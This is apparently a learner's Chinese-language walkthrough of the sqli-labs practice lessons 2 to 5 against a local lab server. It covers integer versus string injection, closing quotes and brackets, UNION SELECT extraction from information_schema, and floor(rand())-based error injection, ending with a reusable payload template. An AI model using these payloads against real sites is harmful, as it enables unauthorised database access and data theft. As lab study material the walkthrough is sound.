第二个就是整形的了
第一个是字符串的
整形与字符注入的区别!!!
整形是不用单引号闭合的,不要后面注释
接下来就可以继续向第一题那样测试了
整型不需要闭合就可以执行后面的语句,字符型的则要闭合
http://localhost:9096/sqli-labs/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema =0x7365637572697479
之后都是一样的。
这题主要与第一题的区别就是 整型和字符型
其实判断方法都是一样的
单引号走起
现在很少遇到了。。。。
很多都是过滤了各种
起步先 单引号走起
报错了
报的错误 一看 ”1”)
应该是加了单引号和括号
http://localhost/sqli-labs/Less-3/?id=1')%23
闭合单引号和括号,注释后面的语句
可以正常执行
http://localhost/sqli-labs/Less-3/?id=-1';) union select 1,2,concat_ws(':',user(),database(),version())%23
可以正常获取想要的信息
单引号,正常
http://localhost/sqli-labs/Less-4/?id=1';
看到双引号和括号
闭合
http://localhost/sqli-labs/Less-4/?id=1")%23
获取信息
http://localhost/sqli-labs/Less-4/?id=-1";) union select 1,2,concat_ws(':',user(),database(),version())%23
参考:http://www.91ri.org/7636.html
双注入就是嵌套子查询。
双注入的原理是
当一个聚合函数,比如concat函数后面如果使用分组语句就会把查询
的一部分以错误的形式显示出来。
用到了 floor函数和 rand()
floor的作用就是返回整数部分,小数部分舍弃
rand()当前就是随机函数了
rand 函数式生成 0-1之间的小数随机值, rand()*2是生成0-2之间的
小数随机数,floor(rand()*2)就相当于生成0/1两个随机值
我参考了这篇文章,但是讲了半天也没讲原理。。。
我又看到另一篇讲解的讲解的很详细。
http://blog.csdn.net/qq_32400847/article/details/53453098
先使用 flor(rand()*2)
这么查询出来 0或1
select floor(rand()*2) from users;
但是每次都会变,固定种子
select floor(rand(0)*2) from users;
每次就都是一样的了
将表的第一条数据保留,其他的删除
select count(*),floor(rand(0)*2) a from user group by a;
再添加一条数据
select count(*),floor(rand(0)*2) a from user group by a;
再添加一条数据
select count(*),floor(rand(0)*2) a from user group by a;
此时报错了
0,1,报错
原因:
mysql在 group by时,会先建立一张虚拟表。
取第一条记录,执行 floor(rand(0)*2),发现结果为0,查询虚拟表,发现0的键值不存在,则在虚拟表插入
的新的数据时 floor(rand(0)*2)会被再计算一次,结果为1(第二次计算)
取第二条技术,执行 floor(rand(0)*2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在,所以
floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕。
再次增加一条的时候
floor(rand(0)*2)发现结果为0(第4次计算)
查询虚拟表,发现0的键值不存在! 那么会在被计算一次
结果为1(第5次计算)
但是这个 已经存在了。主键值必须唯一。所以插入表就报错了。
返回的这个也是个表,每次查询处理计算完插入进去。
这样就可以报错了。
我们去执行
http://localhost/sqli-labs/Less-5/?id=1';
and (select count(*),concat_ws(':',(select user()),floor(rand(0)*2)) a from information_schema.tables group by a) %23
只允许一个字段
改为:
http://localhost/sqli-labs/Less-5/?id=1';
and (select 1 from (select count(*),concat_ws(':',(select user()),floor(rand(0)*2)) a from information_schema.tables group by a) )%23
将原来的定义为表,然后查询一个字段
每个派生出来的表都必须有一个自己的别名
后面加个 别名
查询信息
http://localhost/sqli-labs/Less-5/?id=1';
and (select 1 from (select count(*),concat_ws(':',(select user()),(select database()),(select version()),floor(rand(0)*2)) a from information_schema.tables group by a)b )%23
注意使用的时候:
要嵌套查询
concat_ws里面还是想要的信息加上 floor(rand(0)*2) 作为一个表,以这个来分组
固定用法
union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b
源代码: